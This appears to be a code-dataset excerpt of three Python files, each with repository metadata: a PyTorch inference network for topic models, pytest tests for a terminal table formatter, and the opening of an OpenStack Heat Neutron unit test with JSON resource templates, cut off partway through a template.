1
0
1
0
1
0
0
7
3752e971c47a37802ec9f93b420375815811de77
5,402
py
Python
pykp/context_topic_model/inference_network.py
WuDiDaBinGe/TAKG
83e608e677a4ee74722d18cb5ef430f4f6c6ad31
[ "MIT" ]
null
null
null
pykp/context_topic_model/inference_network.py
WuDiDaBinGe/TAKG
83e608e677a4ee74722d18cb5ef430f4f6c6ad31
[ "MIT" ]
null
null
null
pykp/context_topic_model/inference_network.py
WuDiDaBinGe/TAKG
83e608e677a4ee74722d18cb5ef430f4f6c6ad31
[ "MIT" ]
null
null
null
""" This file is exactly the same as the "contextualized_topic_models" package - inference_network.py You can choose to "from contextualized_topic_models.networks.inference_network import ContextualInferenceNetwork" PyTorch class for feed forward inference network. """ import logging from collections import OrderedDict from torch import nn import torch class ContextualInferenceNetwork(nn.Module): """Inference Network.""" def __init__(self, vocab_size, latent_representation_size, output_size, hidden_sizes, activation='softplus', dropout=0.2): """ Initialize InferenceNetwork. Args vocab_size : int, dimension of input output_size : int, dimension of output hidden_sizes : tuple, length = n_layers activation : string, 'softplus' or 'relu', default 'softplus' dropout : float, default 0.2, default 0.2 """ super(ContextualInferenceNetwork, self).__init__() assert isinstance(vocab_size, int), "vocab_size must by type int." assert isinstance(output_size, int), "output_size must be type int." assert isinstance(hidden_sizes, tuple), "hidden_sizes must be type tuple." assert activation in ['softplus', 'relu'], "activation must be 'softplus' or 'relu'." assert dropout >= 0, "dropout must be >= 0." self.vocab_size = vocab_size self.output_size = output_size self.hidden_sizes = hidden_sizes self.dropout = dropout if activation == 'softplus': self.activation = nn.Softplus() elif activation == 'relu': self.activation = nn.ReLU() self.input_layer = nn.Linear(vocab_size + vocab_size, hidden_sizes[0]) self.adapt = nn.Linear(latent_representation_size, hidden_sizes[0]) self.hiddens = nn.Sequential(OrderedDict([ ('l_{}'.format(i), nn.Sequential(nn.Linear(h_in, h_out), self.activation)) for i, (h_in, h_out) in enumerate(zip(hidden_sizes[:-1], hidden_sizes[1:]))])) self.f_mu = nn.Linear(hidden_sizes[-1], output_size) self.f_mu_batchnorm = nn.BatchNorm1d(output_size, affine=False) self.f_sigma = nn.Linear(hidden_sizes[-1], output_size) self.f_sigma_batchnorm = nn.BatchNorm1d(output_size, affine=False) self.dropout_enc = nn.Dropout(p=self.dropout) def forward(self, x, latent_representation): """Generate mu and sigma - Inference Network""" latent_representation = self.adapt(latent_representation) x = self.activation(latent_representation) x = self.hiddens(x) x = self.dropout_enc(x) mu = self.f_mu_batchnorm(self.f_mu(x)) log_sigma = self.f_sigma_batchnorm(self.f_sigma(x)) return mu, log_sigma class CombinedInferenceNetwork(nn.Module): """Inference Network.""" def __init__(self, vocab_size, latent_representation_size, output_size, hidden_sizes, activation='softplus', dropout=0.2): """ Initialize InferenceNetwork. Args vocab_size : int, dimension of input output_size : int, dimension of output hidden_sizes : tuple, length = n_layers activation : string, 'softplus' or 'relu', default 'softplus' dropout : float, default 0.2, default 0.2 """ super(CombinedInferenceNetwork, self).__init__() assert isinstance(vocab_size, int), "vocab_size must by type int." assert isinstance(output_size, int), "output_size must be type int." assert isinstance(hidden_sizes, tuple), \ "hidden_sizes must be type tuple." assert activation in ['softplus', 'relu'], \ "activation must be 'softplus' or 'relu'." assert dropout >= 0, "dropout must be >= 0." self.vocab_size = vocab_size self.output_size = output_size self.hidden_sizes = hidden_sizes self.dropout = dropout if activation == 'softplus': self.activation = nn.Softplus() elif activation == 'relu': self.activation = nn.ReLU() self.input_layer = nn.Linear(vocab_size + vocab_size, hidden_sizes[0]) self.adapt = nn.Linear(latent_representation_size, vocab_size) self.bert_layer = nn.Linear(hidden_sizes[0], hidden_sizes[0]) self.hiddens = nn.Sequential(OrderedDict([ ('l_{}'.format(i), nn.Sequential(nn.Linear(h_in, h_out), self.activation)) for i, (h_in, h_out) in enumerate(zip(hidden_sizes[:-1], hidden_sizes[1:]))])) self.f_mu = nn.Linear(hidden_sizes[-1], output_size) self.f_mu_batchnorm = nn.BatchNorm1d(output_size, affine=False) self.f_sigma = nn.Linear(hidden_sizes[-1], output_size) self.f_sigma_batchnorm = nn.BatchNorm1d(output_size, affine=False) self.dropout_enc = nn.Dropout(p=self.dropout) def forward(self, x, latent_representation): """Forward pass.""" latent_representation = self.adapt(latent_representation) x = torch.cat((x, latent_representation), 1) x = self.input_layer(x) x = self.activation(x) x = self.hiddens(x) x = self.dropout_enc(x) mu = self.f_mu_batchnorm(self.f_mu(x)) log_sigma = self.f_sigma_batchnorm(self.f_sigma(x)) return mu, log_sigma
39.144928
113
0.649389
672
5,402
5
0.15625
0.081845
0.028571
0.028274
0.825595
0.825595
0.825595
0.795833
0.795833
0.795833
0
0.008307
0.242318
5,402
137
114
39.430657
0.812607
0.167901
0
0.734177
0
0
0.086031
0
0
0
0
0
0.126582
1
0.050633
false
0
0.050633
0
0.151899
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
80dfcfa3e8667f3e604182793d751eee32333041
13,409
py
Python
test/test_output.py
sarcoma/terminal_table
2d17ce132cc7c1bdbeccd223b150553433db23d2
[ "MIT" ]
2
2019-03-13T23:07:32.000Z
2020-05-20T09:44:29.000Z
test/test_output.py
OrderAndCh4oS/terminal_table
2d17ce132cc7c1bdbeccd223b150553433db23d2
[ "MIT" ]
7
2019-10-06T14:21:58.000Z
2019-10-21T15:34:40.000Z
test/test_output.py
sarcoma/terminal_table
2d17ce132cc7c1bdbeccd223b150553433db23d2
[ "MIT" ]
2
2019-10-08T02:44:03.000Z
2019-10-20T21:47:11.000Z
from ansi_colours import AnsiColours as Colour from terminal_table import Table def test_default(): assert Table.create( [[1, 2, 3], [4, 5, 6], [7, 8, 9]], ['a', 'b', 'c'], use_ansi=False ) == '| a | b | c |\n|-----|-----|-----|\n| 1 | 2 | 3 |\n|-----|-----|-----|\n| 4 | 5 | 6 |\n|-----|-----|-----|\n| 7 | 8 | 9 |\n' def test_row_colours(): assert Table.create( [[1, 2, 3], [4, 5, 6], [7, 8, 9]], ['a', 'b', 'c'], row_colours=[Colour.red, Colour.blue] ) == '\x1b[0;37m|\x1b[0m a \x1b[0;37m|\x1b[0m b \x1b[0;37m|\x1b[0m c \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31m1\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m2\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m3\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;34m4\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m5\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m6\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31m7\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m8\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m9\x1b[0m \x1b[0;37m|\x1b[0m\n' def test_coloured_columns(): assert Table.create( [[1, 2, 3], [4, 5, 6], [7, 8, 9]], ['a', 'b', 'c'], column_colours=[Colour.red, Colour.blue, Colour.green] ) == '\x1b[0;37m|\x1b[0m a \x1b[0;37m|\x1b[0m b \x1b[0;37m|\x1b[0m c \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31m1\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m2\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32m3\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31m4\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m5\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32m6\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31m7\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m8\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32m9\x1b[0m \x1b[0;37m|\x1b[0m\n' def test_rows_and_columns_with_colours(): assert Table.create( [[1, 2, 3], [4, 5, 6], [7, 8, 9]], ['a', 'b', 'c'], row_colours=[Colour.red, Colour.blue], column_colours=[Colour.green] ) == '\x1b[0;37m|\x1b[0m a \x1b[0;37m|\x1b[0m b \x1b[0;37m|\x1b[0m c \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;32m1\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m2\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m3\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;32m4\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m5\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34m6\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;32m7\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m8\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31m9\x1b[0m \x1b[0;37m|\x1b[0m\n' def test_multiple_header_colours(): assert Table.create( [[1, 2, 3], [4, 5, 6], [7, 8, 9]], ['a', 'b', 'c'], header_colours=[Colour.red, Colour.yellow, Colour.red], ) == '\x1b[0;37m|\x1b[0m \x1b[0;31ma\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;33mb\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;31mc\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m 1 \x1b[0;37m|\x1b[0m 2 \x1b[0;37m|\x1b[0m 3 \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m 4 \x1b[0;37m|\x1b[0m 5 \x1b[0;37m|\x1b[0m 6 \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m 7 \x1b[0;37m|\x1b[0m 8 \x1b[0;37m|\x1b[0m 9 \x1b[0;37m|\x1b[0m\n' def test_header_colour(): assert Table.create( [[1, 2, 3], [4, 5, 6], [7, 8, 9]], ['a', 'b', 'c'], header_colour=Colour.cyan, ) == '\x1b[0;37m|\x1b[0m \x1b[0;36ma\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;36mb\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;36mc\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m 1 \x1b[0;37m|\x1b[0m 2 \x1b[0;37m|\x1b[0m 3 \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m 4 \x1b[0;37m|\x1b[0m 5 \x1b[0;37m|\x1b[0m 6 \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-----|-----|-----|\x1b[0m\n\x1b[0;37m|\x1b[0m 7 \x1b[0;37m|\x1b[0m 8 \x1b[0;37m|\x1b[0m 9 \x1b[0;37m|\x1b[0m\n' long_text = 'Zombie ipsum brains reversus ab cerebellum viral inferno, brein nam rick mend grimes malum cerveau cerebro.' def test_text_wrap(): assert Table.create( [[long_text[:10], long_text[:55], long_text[:25]], [long_text[:5], long_text[:12], long_text[:33]], [long_text[:12], long_text, long_text[:2]]], ['a', 'b', 'c'], max_column_width=20, max_column_widths=(None, None, 40), use_ansi=False ) == '| a | b | c |\n|----------------|------------------------|-------------------------------------|\n| Zombie ips | Zombie ipsum brains | Zombie ipsum brains rever |\n| | reversus ab cerebell | |\n| | um viral infern | |\n|----------------|------------------------|-------------------------------------|\n| Zombi | Zombie ipsum | Zombie ipsum brains reversus ab c |\n|----------------|------------------------|-------------------------------------|\n| Zombie ipsum | Zombie ipsum brains | Zo |\n| | reversus ab cerebell | |\n| | um viral inferno, br | |\n| | ein nam rick mend gr | |\n| | imes malum cerveau c | |\n| | erebro. | |\n' def test_text_wrap_colour(): assert Table.create( [[long_text[:14], long_text[:12], long_text[:35]], [long_text[:17], long_text[:4], long_text[:56]], [long_text[:21], long_text[:5], long_text]], ['a', 'b', 'c'], max_column_width=20, column_colours=[Colour.red, Colour.blue, Colour.green] ) == '\x1b[0;37m|\x1b[0m a \x1b[0;37m|\x1b[0m b \x1b[0;37m|\x1b[0m c \x1b[0;37m|\x1b[0m\n\x1b[0;37m|------------------------|----------------|------------------------|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mZombie ipsum b\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mZombie ipsum\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mZombie ipsum brains \x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mreversus ab cer\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|------------------------|----------------|------------------------|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mZombie ipsum brai\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mZomb\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mZombie ipsum brains \x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mreversus ab cerebell\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mum viral inferno\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|------------------------|----------------|------------------------|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mZombie ipsum brains \x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mZombi\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mZombie ipsum brains \x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mr\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mreversus ab cerebell\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mum viral inferno, br\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mein nam rick mend gr\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32mimes malum cerveau c\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;32merebro.\x1b[0m \x1b[0;37m|\x1b[0m\n' def test_text_wrap_variable(): assert Table.create( [[long_text[:14], long_text[:12], long_text[:35]], [long_text[:17], long_text[:4], long_text[:56]], [long_text[:21], long_text[:5], long_text]], ['a', 'b', 'c'], column_colours=[Colour.red, Colour.blue, Colour.green], max_column_widths=(30, 10) ) == '\x1b[0;37m|\x1b[0m a \x1b[0;37m|\x1b[0m b \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-------------------------|--------------|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mZombie ipsum b\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mZombie ips\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mum\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-------------------------|--------------|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mZombie ipsum brai\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mZomb\x1b[0m \x1b[0;37m|\x1b[0m\n\x1b[0;37m|-------------------------|--------------|\x1b[0m\n\x1b[0;37m|\x1b[0m \x1b[0;31mZombie ipsum brains r\x1b[0m \x1b[0;37m|\x1b[0m \x1b[0;34mZombi\x1b[0m \x1b[0;37m|\x1b[0m\n' def test_prepare_max_column_widths_given_max_column_widths_is_none_returns_infinity(): expected_widths = [float('inf'), float('inf'), float('inf')] max_column_widths = Table.prepare_max_column_widths(["a", "b", "c"], None, None) assert max_column_widths == expected_widths def test_prepare_max_column_widths_given_max_column_widths_is_set_returns_max_col_widths_as_list(): expected_widths = [30, 10] max_column_widths = Table.prepare_max_column_widths(["a", "b", "c"], (30, 10), None) assert max_column_widths == expected_widths def test_prepare_max_column_widths_given_max_column_widths_is_string_returns_max_col_widths_string(): expected_widths = "(30, 10)" max_column_widths = Table.prepare_max_column_widths(["a", "b", "c"], "(30, 10)", None) assert max_column_widths == expected_widths def test_prepare_max_column_widths_given_max_column_widths_is_none_returns_max_col_widths_of_max_length(): expected_widths = [20, 20, 20] max_column_widths = Table.prepare_max_column_widths(["a", "b", "c"], None, 20) assert max_column_widths == expected_widths def test_wrap_test_given_text_less_than_width_doesnt_wrap(): text_ = long_text[:10] expected_tuple = (text_,) text_tuple = Table.wrap_text(text_, 11) assert text_tuple == expected_tuple def test_wrap_test_given_text_greater_than_width_wraps(): text_ = long_text[:10] expected_tuple = (long_text[:8], long_text[8:10]) text_tuple = Table.wrap_text(text_, 8) assert text_tuple == expected_tuple def test_wrap_test_given_text_equal_to_width_wraps(): text_ = long_text[:10] expected_tuple = (text_, '') text_tuple = Table.wrap_text(text_, 10) assert text_tuple == expected_tuple def test_wrap_test_given_width_is_infinity_returns_text_as_string(): text = "aaaaaa" * 100000 expected = ("aaaaaa" * 100000,) assert Table.wrap_text(text, float('inf')) == expected def test_get_row_height_given_cell_with_two_rows_returns_max_height(): text_ = long_text[:10] assert Table.get_row_height([(text_,), (text_, text_), (text_, text_, text_)]) == 3 def test_get_row_height_given_cell_equal_rows_returns_max_height(): text_ = long_text[:10] assert Table.get_row_height([(text_,), (text_,)]) == 1 def test_get_row_height_given_empty_returns_zero(): assert Table.get_row_height([]) == 0 def test_get_column_widths_for_row_given_empty_returns_empty(): assert Table.get_column_widths_for_row([]) == [] def test_get_column_widths_for_row_returns_max_widths(): low_value = 10 high_value = 25 row = [(long_text[:low_value],), (long_text[:high_value], 'um')] assert Table.get_column_widths_for_row(row) == [low_value, high_value] def test_get_wrapped_row_given_row_of_data_returns_wrapped_rows(): expected_wrapped_row = [(long_text[:10],), (long_text[:5],), (long_text[:25],)] rows = Table.get_wrapped_row([long_text[:10], long_text[:5], long_text[:25]], [100, 100, 100]) assert rows == expected_wrapped_row def test_get_wrapped_row_given_empty_returns_empty(): assert [] == Table.get_wrapped_row([], []) def test_get_wrapped_row_given_row_of_data_returns_wrapped_rows(): expected_wrapped_row = [(long_text[:5], long_text[5:10], '')] rows = Table.get_wrapped_row([long_text[:10]], [5]) assert rows == expected_wrapped_row def test_make_underline_if_using_ansi(): assert Table.make_underline([2, 2, 2]) == "\x1b[0;37m|------|------|------|\x1b[0m" def test_make_underline_if_not_using_ansi(): assert Table.make_underline([2, 2, 2], use_ansi=False) == "|------|------|------|" def test_make_underline_with_custom_separator(): assert Table.make_underline([2, 2, 2], use_ansi=False, separator="+") == "+------+------+------+"
69.118557
2,234
0.552092
2,218
13,409
3.165915
0.081154
0.127029
0.164483
0.234976
0.834093
0.793933
0.782683
0.735261
0.694104
0.669752
0
0.148621
0.199642
13,409
193
2,235
69.476684
0.505684
0
0
0.38806
0
0.067164
0.558729
0.200089
0
0
0
0
0.208955
1
0.208955
false
0
0.014925
0
0.223881
0
0
0
0
null
0
0
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
8
038ca4b921e93da423347f83d644a0f4bf0070dd
111,956
py
Python
heat/tests/test_neutron.py
redhat-openstack/heat
6b9be0a868b857e942c1cc90594d0f3a0d0725d0
[ "Apache-2.0" ]
null
null
null
heat/tests/test_neutron.py
redhat-openstack/heat
6b9be0a868b857e942c1cc90594d0f3a0d0725d0
[ "Apache-2.0" ]
null
null
null
heat/tests/test_neutron.py
redhat-openstack/heat
6b9be0a868b857e942c1cc90594d0f3a0d0725d0
[ "Apache-2.0" ]
null
null
null
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy import six import mock import mox from neutronclient.common import exceptions as qe from neutronclient.neutron import v2_0 as neutronV20 from neutronclient.v2_0 import client as neutronclient from heat.common import exception from heat.common import template_format from heat.engine.cfn import functions as cfn_funcs from heat.engine.clients.os import neutron from heat.engine.hot import functions from heat.engine import properties from heat.engine import resource from heat.engine.resources.neutron import net from heat.engine.resources.neutron.neutron import NeutronResource as qr from heat.engine.resources.neutron import provider_net from heat.engine.resources.neutron import router from heat.engine.resources.neutron import subnet from heat.engine import rsrc_defn from heat.engine import scheduler from heat.tests.common import HeatTestCase from heat.tests import utils neutron_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "network": { "Type": "OS::Neutron::Net", "Properties": { "name": "the_network", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "shared": true, "dhcp_agent_ids": [ "28c25a04-3f73-45a7-a2b4-59e183943ddc" ] } }, "unnamed_network": { "Type": "OS::Neutron::Net" }, "admin_down_network": { "Type": "OS::Neutron::Net", "Properties": { "admin_state_up": false } }, "subnet": { "Type": "OS::Neutron::Subnet", "Properties": { "network": { "Ref" : "network" }, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "ip_version": 4, "cidr": "10.0.3.0/24", "allocation_pools": [{"start": "10.0.3.20", "end": "10.0.3.150"}], "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "dns_nameservers": ["8.8.8.8"] } }, "port": { "Type": "OS::Neutron::Port", "Properties": { "device_id": "d6b4d3a5-c700-476f-b609-1493dd9dadc0", "name": "port1", "network": { "Ref" : "network" }, "fixed_ips": [{ "subnet": { "Ref" : "subnet" }, "ip_address": "10.0.3.21" }] } }, "port2": { "Type": "OS::Neutron::Port", "Properties": { "name": "port2", "network": { "Ref" : "network" } } }, "router": { "Type": "OS::Neutron::Router", "Properties": { "l3_agent_id": "792ff887-6c85-4a56-b518-23f24fa65581" } }, "router_interface": { "Type": "OS::Neutron::RouterInterface", "Properties": { "router_id": { "Ref" : "router" }, "subnet": { "Ref" : "subnet" } } }, "gateway": { "Type": "OS::Neutron::RouterGateway", "Properties": { "router_id": { "Ref" : "router" }, "network": { "Ref" : "network" } } } } } ''' neutron_template_deprecated = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "network": { "Type": "OS::Neutron::Net", "Properties": { "name": "the_network", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "shared": true } }, "unnamed_network": { "Type": "OS::Neutron::Net" }, "admin_down_network": { "Type": "OS::Neutron::Net", "Properties": { "admin_state_up": false } }, "subnet": { "Type": "OS::Neutron::Subnet", "Properties": { "network_id": { "Ref" : "network" }, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "ip_version": 4, "cidr": "10.0.3.0/24", "allocation_pools": [{"start": "10.0.3.20", "end": "10.0.3.150"}], "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "dns_nameservers": ["8.8.8.8"] } }, "port": { "Type": "OS::Neutron::Port", "Properties": { "device_id": "d6b4d3a5-c700-476f-b609-1493dd9dadc0", "name": "port1", "network_id": { "Ref" : "network" }, "fixed_ips": [{ "subnet_id": { "Ref" : "subnet" }, "ip_address": "10.0.3.21" }] } }, "port2": { "Type": "OS::Neutron::Port", "Properties": { "name": "port2", "network_id": { "Ref" : "network" } } }, "router": { "Type": "OS::Neutron::Router", "Properties": { "l3_agent_id": "792ff887-6c85-4a56-b518-23f24fa65581" } }, "router_interface": { "Type": "OS::Neutron::RouterInterface", "Properties": { "router_id": { "Ref" : "router" }, "subnet_id": { "Ref" : "subnet" } } }, "gateway": { "Type": "OS::Neutron::RouterGateway", "Properties": { "router_id": { "Ref" : "router" }, "network_id": { "Ref" : "network" } } } } } ''' provider_network_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Resources" : { "provider_network_vlan": { "Type": "OS::Neutron::ProviderNet", "Properties": { "name": "the_provider_network", "network_type": "vlan", "physical_network": "physnet_1", "segmentation_id": "101", "shared": true } } } } ''' neutron_external_gateway_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "router": { "Type": "OS::Neutron::Router", "Properties": { "name": "Test Router", "external_gateway_info": { "network": "public", "enable_snat": true } } } } } ''' neutron_floating_template_deprecated = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "port_floating": { "Type": "OS::Neutron::Port", "Properties": { "network_id": "xyz1234", "fixed_ips": [{ "subnet_id": "sub1234", "ip_address": "10.0.0.10" }] } }, "floating_ip": { "Type": "OS::Neutron::FloatingIP", "Properties": { "floating_network_id": "abcd1234", } }, "floating_ip_assoc": { "Type": "OS::Neutron::FloatingIPAssociation", "Properties": { "floatingip_id": { "Ref" : "floating_ip" }, "port_id": { "Ref" : "port_floating" } } }, "router": { "Type": "OS::Neutron::Router" }, "router_interface": { "Type": "OS::Neutron::RouterInterface", "Properties": { "router_id": { "Ref" : "router" }, "subnet": "sub1234" } }, "gateway": { "Type": "OS::Neutron::RouterGateway", "Properties": { "router_id": { "Ref" : "router" }, "network_id": "abcd1234" } } } } ''' neutron_floating_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "port_floating": { "Type": "OS::Neutron::Port", "Properties": { "network": "xyz1234", "fixed_ips": [{ "subnet": "sub1234", "ip_address": "10.0.0.10" }] } }, "floating_ip": { "Type": "OS::Neutron::FloatingIP", "Properties": { "floating_network": "abcd1234", } }, "floating_ip_assoc": { "Type": "OS::Neutron::FloatingIPAssociation", "Properties": { "floatingip_id": { "Ref" : "floating_ip" }, "port_id": { "Ref" : "port_floating" } } }, "router": { "Type": "OS::Neutron::Router" }, "router_interface": { "Type": "OS::Neutron::RouterInterface", "Properties": { "router_id": { "Ref" : "router" }, "subnet": "sub1234" } }, "gateway": { "Type": "OS::Neutron::RouterGateway", "Properties": { "router_id": { "Ref" : "router" }, "network": "abcd1234" } } } } ''' neutron_floating_no_assoc_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "port_floating": { "Type": "OS::Neutron::Port", "Properties": { "network": "xyz1234", "fixed_ips": [{ "subnet": "sub1234", "ip_address": "10.0.0.10" }] } }, "floating_ip": { "Type": "OS::Neutron::FloatingIP", "Properties": { "floating_network": "abcd1234", "port_id": { "Ref" : "port_floating" } } }, "router": { "Type": "OS::Neutron::Router" }, "router_interface": { "Type": "OS::Neutron::RouterInterface", "Properties": { "router_id": { "Ref" : "router" }, "subnet": "sub1234" } }, "gateway": { "Type": "OS::Neutron::RouterGateway", "Properties": { "router_id": { "Ref" : "router" }, "network": "abcd1234" } } } } ''' neutron_port_template_deprecated = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "port": { "Type": "OS::Neutron::Port", "Properties": { "network_id": "net1234", "fixed_ips": [{ "subnet_id": "sub1234", "ip_address": "10.0.3.21" }], "device_owner": "network:dhcp" } } } } ''' neutron_port_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "port": { "Type": "OS::Neutron::Port", "Properties": { "network": "net1234", "fixed_ips": [{ "subnet": "sub1234", "ip_address": "10.0.3.21" }], "device_owner": "network:dhcp" } } } } ''' neutron_port_with_address_pair_template = ''' { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Template to test Neutron resources", "Parameters" : {}, "Resources" : { "port": { "Type": "OS::Neutron::Port", "Properties": { "network": "abcd1234", "allowed_address_pairs": [{ "ip_address": "10.0.3.21", "mac_address": "00-B0-D0-86-BB-F7" }] } } } } ''' neutron_subnet_and_external_gateway_template = ''' { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "net_external": { "Type": "OS::Neutron::Net", "Properties": { "name": "net_external", "admin_state_up": true, "value_specs": { "provider:network_type": "flat", "provider:physical_network": "default", "router:external": true } } }, "subnet_external": { "Type": "OS::Neutron::Subnet", "Properties": { "name": "subnet_external", "network_id": { "Ref": "net_external" 